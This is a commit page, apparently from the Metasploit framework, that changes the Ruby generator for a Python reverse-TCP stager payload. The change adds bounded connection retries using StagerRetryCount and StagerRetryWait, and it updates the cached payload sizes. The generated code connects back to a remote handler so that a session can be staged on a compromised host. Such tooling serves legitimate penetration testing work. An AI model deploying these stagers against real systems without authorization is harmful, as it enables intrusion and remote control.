Skip to content

Commit 3a1ed19

Browse files
committed
Making use of StagerRetryConnect
1 parent cd73bd1 commit 3a1ed19

File tree

3 files changed

+18
-7
lines changed

3 files changed

+18
-7
lines changed

lib/msf/core/payload/python/reverse_tcp.rb

Lines changed: 16 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,14 @@ module Payload::Python::ReverseTcp
1616
include Msf::Payload::Python
1717
include Msf::Payload::Python::SendUUID
1818

19+
def initialize(*args)
20+
super
21+
register_advanced_options([
22+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 1]),
23+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts'])
24+
], self.class)
25+
end
26+
1927
#
2028
# Generate the first stage
2129
#
@@ -44,21 +52,24 @@ def transport_config(opts={})
4452

4553
def generate_reverse_tcp(opts={})
4654
# Set up the socket
47-
cmd = "import socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n"
48-
if datastore['StagerRetryWait'].blank? # do not retry at all (old style)
55+
cmd = "import socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
56+
cmd << "counter = 0\n"
57+
if opts[:retry_wait].blank? # do not retry at all (old style)
4958
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
5059
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
5160
else
52-
cmd << "while 1:\n"
61+
cmd << "while counter<#{opts[:retry_count].to_i}:\n"
5362
cmd << "\ttry:\n"
5463
cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
5564
cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
5665
cmd << "\t\tbreak\n"
5766
cmd << "\texcept:\n"
58-
if datastore['StagerRetryWait'].to_i <= 0
67+
if opts[:retry_wait].to_i <= 0
68+
cmd << "\t\tcounter=counter+1\n"
5969
cmd << "\t\tpass\n" # retry immediately
6070
else
61-
cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting
71+
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
72+
cmd << "\t\tcounter=counter+1\n"
6273
end
6374
end
6475
cmd << py_send_uuid if include_send_uuid

modules/payloads/stagers/python/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 362
14+
CachedSize = 378
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Python::ReverseTcp

modules/payloads/stagers/python/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 466
14+
CachedSize = 482
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Python

0 commit comments

Comments
 (0)